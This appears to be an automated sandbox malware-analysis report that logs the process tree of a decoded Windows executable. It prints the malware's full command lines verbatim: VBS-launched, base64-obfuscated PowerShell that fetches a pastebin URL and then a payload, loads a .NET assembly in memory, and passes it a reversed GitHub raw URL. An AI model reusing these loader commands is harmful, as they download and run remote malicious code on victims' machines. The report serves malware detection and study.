Source: powershell.exe, 00000009.00000002.3002197915.0000022AEA960000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll:
Source: powershell.exe, 0000000F.00000002.2855044947.000002BDC2930000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll0
Source: wscript.exe, 00000003.00000003.2621620649.0000015FE7DE6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe, 00000000.00000002.4976476754.0000000000BE4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3140674589.000002646DAB7000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2788067216.0000022039829000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: PING.EXE, 0000000C.00000002.2698979285.000001E92CB39000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlljj
Source: PING.EXE, 0000000E.00000002.2708739502.0000018E0A829000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllaa

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Encrypted powershell cmdline option found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text	Jump to behavior

Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\jglbwx.vbs"	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\mknrez.vbs"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?QQBk?HY?OQBn?EI?S?Bh?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??7?GM?bQBk?C4?ZQB4?GU?I??v?GM?I??7?H??aQBu?Gc?I??x?DI?Nw?u?D??Lg?w?C4?MQ?g?Ds?c?Bv?Hc?ZQBy?HM?a?Bl?Gw?b??u?GU?e?Bl?C??LQBj?G8?bQBt?GE?bgBk?C??ew?k?GY?I??9?C??K?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?SQBu?HY?bwBr?GU?LQBX?GU?YgBS?GU?cQB1?GU?cwB0?C??LQBV?FI?SQ?g?CQ?UQBQ?HQ?YQB2?C??LQBP?HU?d?BG?Gk?b?Bl?C??J?Bm?C??LQBV?HM?ZQBC?GE?cwBp?GM?U?Bh?HI?cwBp?G4?ZwB9?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?J?Bq?Hc?bgBn?GM?I??9?C??Jw?w?DE?Jw?g?Ds?J?Bl?GE?YQBp?Hc?I??9?C??Jw?l?Eo?awBR?GE?cwBE?GY?ZwBy?FQ?Zw?l?Cc?I??7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?Z?Bj?Gg?cwBp?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?CQ?UQBQ?HQ?YQB2?C4?cgBl?H??b?Bh?GM?ZQ?o?Cc?J??k?CQ?J??k?Cc?L??n?EE?Jw?p?C??KQ?g?Ds?WwBT?Hk?cwB0?GU?bQ?u?EE?c?Bw?EQ?bwBt?GE?aQBu?F0?Og?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?J?Bk?GM?a?Bz?Gk?KQ?u?Ec?ZQB0?FQ?eQBw?GU?K??n?FQ?ZQBo?HU?b?Bj?Gg?ZQBz?Fg?e?BY?Hg?e??u?EM?b?Bh?HM?cw?x?Cc?KQ?u?Ec?ZQB0?E0?ZQB0?Gg?bwBk?Cg?JwBN?HM?cQBC?Ek?YgBZ?Cc?KQ?u?Ek?bgB2?G8?awBl?Cg?J?Bu?HU?b?Bs?Cw?I?Bb?G8?YgBq?GU?YwB0?Fs?XQBd?C??K??n?DQ?Mg?x?DE?VgBP?E4?LwBu?Gk?YQBt?C8?cwBk?GE?ZQBo?C8?cwBm?GU?cg?v?GU?cgBp?GY?LwBh?Gw?b?Bp?HU?cQBu?GE?cgBy?GE?Yg?0?DI?M??y?G4?bwBp?H??bQBh?Gg?Yw?v?G0?bwBj?C4?d?Bu?GU?d?Bu?G8?YwBy?GU?cwB1?GI?dQBo?HQ?aQBn?C4?dwBh?HI?Lw?v?Do?cwBw?HQ?d?Bo?Cc?I??s?C??J?Bl?GE?YQBp?Hc?I??s?C??JwBp?Gc?ZgB4?EU?TQ?n?Cw?I??k?Go?dwBu?Gc?Yw?s?C??Jw?x?Cc?L??g?Cc?UgBv?GQ?YQ?n?C??KQ?p?Ds?';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('?','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\user\AppData\Local\Temp\jglbwx.vbs');powershell $Yolopolhggobek;	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?QQBk?HY?OQBn?EI?S?Bh?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??7?GM?bQBk?C4?ZQB4?GU?I??v?GM?I??7?H??aQBu?Gc?I??x?DI?Nw?u?D??Lg?w?C4?MQ?g?Ds?c?Bv?Hc?ZQBy?HM?a?Bl?Gw?b??u?GU?e?Bl?C??LQBj?G8?bQBt?GE?bgBk?C??ew?k?GY?I??9?C??K?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?SQBu?HY?bwBr?GU?LQBX?GU?YgBS?GU?cQB1?GU?cwB0?C??LQBV?FI?SQ?g?CQ?UQBQ?HQ?YQB2?C??LQBP?HU?d?BG?Gk?b?Bl?C??J?Bm?C??LQBV?HM?ZQBC?GE?cwBp?GM?U?Bh?HI?cwBp?G4?ZwB9?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?J?Bt?Gk?e?Bm?HU?I??9?C??Jw?w?DE?Jw?g?Ds?J?Bi?Gg?c?Bn?GU?I??9?C??Jw?l?Eo?awBR?GE?cwBE?GY?ZwBy?FQ?Zw?l?Cc?I??7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?bgB1?Gc?awBr?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?CQ?UQBQ?HQ?YQB2?C4?cgBl?H??b?Bh?GM?ZQ?o?Cc?J??k?CQ?J??k?Cc?L??n?EE?Jw?p?C??KQ?g?Ds?WwBT?Hk?cwB0?GU?bQ?u?EE?c?Bw?EQ?bwBt?GE?aQBu?F0?Og?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?J?Bu?HU?ZwBr?Gs?KQ?u?Ec?ZQB0?FQ?eQBw?GU?K??n?FQ?ZQBo?HU?b?Bj?Gg?ZQBz?Fg?e?BY?Hg?e??u?EM?b?Bh?HM?cw?x?Cc?KQ?u?Ec?ZQB0?E0?ZQB0?Gg?bwBk?Cg?JwBN?HM?cQBC?Ek?YgBZ?Cc?KQ?u?Ek?bgB2?G8?awBl?Cg?J?Bu?HU?b?Bs?Cw?I?Bb?G8?YgBq?GU?YwB0?Fs?XQBd?C??K??n?DQ?MgBv?GM?cwBh?C8?bgBp?GE?bQ?v?HM?Z?Bh?GU?a??v?HM?ZgBl?HI?LwBl?HI?aQBm?C8?YQBs?Gw?aQB1?HE?bgBh?HI?cgBh?GI?N??y?D??MgBu?G8?aQBw?G0?YQBo?GM?LwBt?G8?Yw?u?HQ?bgBl?HQ?bgBv?GM?cgBl?HM?dQBi?HU?a?B0?Gk?Zw?u?Hc?YQBy?C8?Lw?6?HM?c?B0?HQ?a??n?C??L??g?CQ?YgBo?H??ZwBl?C??L??g?Cc?aQBn?GY?e?BF?E0?Ng?0?Cc?L??g?CQ?bQBp?Hg?ZgB1?Cw?I??n?DE?Jw?s?C??JwBS?G8?Z?Bh?Cc?I??p?Ck?Ow?=';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('?','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\user\AppData\Local\Temp\mknrez.vbs');powershell $Yolopolhggobek;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/Adv9gBHa' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$mixfu = '01' ;$bhpge = 'C:\Users\user\AppData\Local\Temp\mknrez.vbs' ;[Byte[]] $nugkk = [system.Convert]::FromBase64String( $QPtav.replace('$$$$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($nugkk).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('42ocsa/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $bhpge , 'igfxEM64', $mixfu, '1', 'Roda' ));"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/Adv9gBHa' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$jwngc = '01' ;$eaaiw = 'C:\Users\user\AppData\Local\Temp\jglbwx.vbs' ;[Byte[]] $dchsi = [system.Convert]::FromBase64String( $QPtav.replace('$$$$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($dchsi).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('4211VON/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $eaaiw , 'igfxEM', $jwngc, '1', 'Roda' ));"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $iujujjzz = 'wwbt?hk?cwb0?gu?bq?u?e4?zqb0?c4?uwbl?hi?dgbp?gm?zqbq?g8?aqbu?hq?tqbh?g4?yqbn?gu?cgbd?do?ogbt?gu?ywb1?hi?aqb0?hk?u?by?g8?d?bv?gm?bwbs?c??pq?g?fs?uwb5?hm?d?bl?g0?lgbo?gu?d??u?fm?zqbj?hu?cgbp?hq?eqbq?hi?bwb0?g8?ywbv?gw?v?b5?h??zqbd?do?ogbu?gw?cw?x?di?ow?k?em?qwbs?gg?bq?g?d0?i??n?gg?d?b0?h??cw?6?c8?lwbw?ge?cwb0?gu?ygbp?g4?lgbj?g8?bq?v?hi?yqb3?c8?qqbk?hy?oqbn?ei?s?bh?cc?i??7?cq?zg?g?d0?i??o?fs?uwb5?hm?d?bl?g0?lgbj?e8?lgbq?ge?d?bo?f0?og?6?ec?zqb0?fq?zqbt?h??u?bh?hq?a??o?ck?i??r?c??jwbk?gw?b??w?de?lgb0?hg?d??n?ck?i??7?ek?bgb2?g8?awbl?c0?vwbl?gi?ugbl?he?dqbl?hm?d??g?c0?vqbs?ek?i??k?em?qwbs?gg?bq?g?c0?twb1?hq?rgbp?gw?zq?g?cq?zg?g?c0?vqbz?gu?qgbh?hm?aqbj?f??yqby?hm?aqbu?gc?i??7?gm?bqbk?c4?zqb4?gu?i??v?gm?i??7?h??aqbu?gc?i??x?di?nw?u?d??lg?w?c4?mq?g?ds?c?bv?hc?zqby?hm?a?bl?gw?b??u?gu?e?bl?c??lqbj?g8?bqbt?ge?bgbk?c??ew?k?gy?i??9?c??k?bb?fm?eqbz?hq?zqbt?c4?sqbp?c4?u?bh?hq?a?bd?do?ogbh?gu?d?bu?gu?bqbw?f??yqb0?gg?k??p?c??kw?g?cc?z?bs?gw?m??x?c4?d?b4?hq?jw?p?c??ow?k?fe?u?b0?ge?dg?g?d0?i??o?c??rwbl?hq?lqbd?g8?bgb0?gu?bgb0?c??lqbq?ge?d?bo?c??j?bm?c??kq?g?ds?sqbu?hy?bwbr?gu?lqbx?gu?ygbs?gu?cqb1?gu?cwb0?c??lqbv?fi?sq?g?cq?uqbq?hq?yqb2?c??lqbp?hu?d?bg?gk?b?bl?c??j?bm?c??lqbv?hm?zqbc?ge?cwbp?gm?u?bh?hi?cwbp?g4?zwb9?c??ow?k?fe?u?b0?ge?dg?g?d0?i??o?c??rwbl?hq?lqbd?g8?bgb0?gu?bgb0?c??lqbq?ge?d?bo?c??j?bm?c??kq?g?ds?j?bt?gk?e?bm?hu?i??9?c??jw?w?de?jw?g?ds?j?bi?gg?c?bn?gu?i??9?c??jw?l?eo?awbr?ge?cwbe?gy?zwby?fq?zw?l?cc?i??7?fs?qgb5?hq?zqbb?f0?xq?g?cq?bgb1?gc?awbr?c??pq?g?fs?cwb5?hm?d?bl?g0?lgbd?g8?bgb2?gu?cgb0?f0?og?6?ey?cgbv?g0?qgbh?hm?zq?2?dq?uwb0?hi?aqbu?gc?k??g?cq?uqbq?hq?yqb2?c4?cgbl?h??b?bh?gm?zq?o?cc?j??k?cq?j??k?cc?l??n?ee?jw?p?c??kq?g?ds?wwbt?hk?cwb0?gu?bq?u?ee?c?bw?eq?bwbt?ge?aqbu?f0?og?6?em?dqby?hi?zqbu?hq?r?bv?g0?yqbp?g4?lgbm?g8?yqbk?cg?j?bu?hu?zwbr?gs?kq?u?ec?zqb0?fq?eqbw?gu?k??n?fq?zqbo?hu?b?bj?gg?zqbz?fg?e?by?hg?e??u?em?b?bh?hm?cw?x?cc?kq?u?ec?zqb0?e0?zqb0?gg?bwbk?cg?jwbn?hm?cqbc?ek?ygbz?cc?kq?u?ek?bgb2?g8?awbl?cg?j?bu?hu?b?bs?cw?i?bb?g8?ygbq?gu?ywb0?fs?xqbd?c??k??n?dq?mgbv?gm?cwbh?c8?bgbp?ge?bq?v?hm?z?bh?gu?a??v?hm?zgbl?hi?lwbl?hi?aqbm?c8?yqbs?gw?aqb1?he?bgbh?hi?cgbh?gi?n??y?d??mgbu?g8?aqbw?g0?yqbo?gm?lwbt?g8?yw?u?hq?bgbl?hq?bgbv?gm?cgbl?hm?dqbi?hu?a?b0?gk?zw?u?hc?yqby?c8?lw?6?hm?c?b0?hq?a??n?c??l??g?cq?ygbo?h??zwbl?c??l??g?cc?aqbn?gy?e?bf?e0?ng?0?cc?l??g?cq?bqbp?hg?zgb1?cw?i??n?de?jw?s?c??jwbs?g8?z?bh?cc?i??p?ck?ow?=';$yolopolhggobek = [system.text.encoding]::unicode.getstring( [system.convert]::frombase64string( $iujujjzz.replace('?','a') ) );$yolopolhggobek = $yolopolhggobek.replace('%jkqasdfgrtg%', 'c:\users\user\appdata\local\temp\mknrez.vbs');powershell $yolopolhggobek;
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $iujujjzz = 'wwbt?hk?cwb0?gu?bq?u?e4?zqb0?c4?uwbl?hi?dgbp?gm?zqbq?g8?aqbu?hq?tqbh?g4?yqbn?gu?cgbd?do?ogbt?gu?ywb1?hi?aqb0?hk?u?by?g8?d?bv?gm?bwbs?c??pq?g?fs?uwb5?hm?d?bl?g0?lgbo?gu?d??u?fm?zqbj?hu?cgbp?hq?eqbq?hi?bwb0?g8?ywbv?gw?v?b5?h??zqbd?do?ogbu?gw?cw?x?di?ow?k?em?qwbs?gg?bq?g?d0?i??n?gg?d?b0?h??cw?6?c8?lwbw?ge?cwb0?gu?ygbp?g4?lgbj?g8?bq?v?hi?yqb3?c8?qqbk?hy?oqbn?ei?s?bh?cc?i??7?cq?zg?g?d0?i??o?fs?uwb5?hm?d?bl?g0?lgbj?e8?lgbq?ge?d?bo?f0?og?6?ec?zqb0?fq?zqbt?h??u?bh?hq?a??o?ck?i??r?c??jwbk?gw?b??w?de?lgb0?hg?d??n?ck?i??7?ek?bgb2?g8?awbl?c0?vwbl?gi?ugbl?he?dqbl?hm?d??g?c0?vqbs?ek?i??k?em?qwbs?gg?bq?g?c0?twb1?hq?rgbp?gw?zq